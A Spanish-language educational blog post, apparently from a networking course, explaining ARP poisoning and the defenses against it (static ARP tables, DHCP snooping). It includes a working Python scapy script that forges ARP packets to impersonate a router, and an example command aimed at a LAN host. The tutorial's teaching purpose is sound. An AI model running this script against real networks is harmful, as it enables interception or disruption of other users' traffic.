ARP Poisoning con scapy

En la práctica dos estuvimos viendo como un host se comunicaba con los demás en una red LAN por la capa de enlace, para esto se ayudaba del protocolo ARP. ¿Qué pasa si hacemos ARP spoof (suplantamos la identidad)? Para eso tenemos este potente generador de paquetes en python scapy.

El ARP Spoofing, también conocido como ARP Poisoning o ARP Poison Routing, es una técnica usada para infiltrarse en una red ethernet conmutada (basada en switches y no en hubs), que puede permitir al atacante leer paquetes de datos en la LAN (red de área local), modificar el tráfico, o incluso detenerlo. El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados, o spoofed) a la Ethernet. Normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro nodo como por ejemplo la puerta de enlace predeterminada (gateway). Cualquier tráfico dirigido a la dirección IP de ese nodo, será erróneamente enviado al atacante, en lugar de a su destino real. El atacante, puede entonces elegir, entre reenviar el tráfico a la puerta de enlace predeterminada real (ataque pasivo o escucha), o modificar los datos antes de reenviarlos (ataque activo).

Después de esta introducción veamos un ejemplo con este sencillo script que he visto por internet que cumple con su cometido. Lo que hacemos es hacer una petición (request) pidiendo la mac del host a atacar, haciendonos pasar por el router (ha de ponerse como parametro en el script). Así el host victima actualiza su tabla arp con la dirección mac del atacante impersonando la ip del router. Un script más completo también enviaría respuestas (reply).

#!/usr/bin/python

# Python arp poison example script
# Written by aviran
# visit for more details aviran.org

from scapy.all import *
import sys

def get_mac_address():
	my_macs = [get_if_hwaddr(i) for i in get_if_list()]
	for mac in my_macs:
		if(mac != "00:00:00:00:00:00"):
			return mac
Timeout=2

if len(sys.argv) != 3:
    print "Usage: arp_poison.py HOST_TO_ATTACK HOST_TO_IMPERSONATE"
    sys.exit(1)

my_mac = get_mac_address()
if not my_mac:
	print "Cant get local mac address, quitting"
	sys.exit(1)

packet = Ether()/ARP(op="who-has",hwsrc=my_mac,psrc=sys.argv[2],pdst=sys.argv[1])

sendp(packet)

Resultados:
sshot-13

$ python arppoisoning.py 192.168.1.11 192.168.1.1

sshot-14

En este caso solo se ha envenenado el camino de la victima al router, y además el tráfico no se redirige, aunque tiene solución con iptables. Esto se puede hacer en los dos caminos e incluso impersonar la ip del router ante toda la subred (detrás de este). Tienes herramientas miticas como arpspoof (que no redirige el tráfico) o ettercap (que si lo hace :))

Defensas

Un método para prevenir el ARP Spoofing, es el uso de tablas ARP estáticas, es decir añadir entradas estáticas ARP, de forma que no existe caché dinámica, cada entrada de la tabla mapea una dirección MAC con su correspondiente dirección IP. Sin embargo, esta no es una solución práctica, sobre todo en redes grandes, debido al enorme esfuerzo necesario para mantener las tablas ARP actualizadas: cada vez que se cambie la dirección IP de un equipo, es necesario actualizar todas las tablas de todos los equipos de la red. Por lo tanto, en redes grandes es preferible usar otro método: el DHCP snooping. Mediante DHCP, el dispositivo de red mantiene un registro de las direcciones MAC que están conectadas a cada puerto, de modo que rápidamente detecta si se recibe una suplantación ARP.

Fuente: http://es.wikipedia.org/wiki/ARP_Spoofing, http://www.aviran.org/2013/09/arp-poisoning-python-scapy/

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s